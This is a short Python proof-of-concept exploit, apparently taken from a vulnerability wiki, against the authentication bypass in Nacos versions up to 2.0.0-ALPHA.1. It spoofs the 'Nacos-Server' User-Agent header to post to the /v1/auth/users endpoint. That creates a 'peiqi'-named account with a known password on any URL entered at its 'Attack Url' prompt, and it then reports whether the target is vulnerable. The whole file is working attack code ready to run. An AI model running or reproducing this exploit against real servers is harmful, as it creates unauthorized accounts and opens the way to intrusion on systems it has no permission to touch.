1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| import requests import sys import random from requests.packages.urllib3.exceptions import InsecureRequestWarning
def title(): print('+------------------------------------------') print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m') print('+ \033[34mVersion: Nacos <= 2.0.0-ALPHA.1 \033[0m') print('+ \033[36m使用格式: python3 poc.py \033[0m') print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m') print('+------------------------------------------')
def POC_1(target_url): vuln_url = target_url + "/v1/auth/users" headers = { "User-Agent": "Nacos-Server", "Content-Type": "application/x-www-form-urlencoded", } number = random.randint(0,999) data = "username=peiqi{}&password=peiqi".format(str(number)) try: requests.packages.urllib3.disable_warnings(InsecureRequestWarning) response = requests.post(url=vuln_url, headers=headers, data=data, verify=False, timeout=5) print("\033[32m[o] 正在请求 {}/nacos/v1/auth/users \033[0m".format(target_url)) if "create user ok!" in response.text and response.status_code == 200: print("\033[32m[o] 目标 {}存在漏洞 \033[0m".format(target_url)) print("\033[32m[o] 成功创建账户 peiqi{} peiqi\033[0m".format(str(number))) else: print("\033[31m[x] 创建用户请求失败 \033[0m") sys.exit(0) except Exception as e: print("\033[31m[x] 请求失败 \033[0m", e)
if __name__ == '__main__': title() target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m")) POC_1(target_url)
|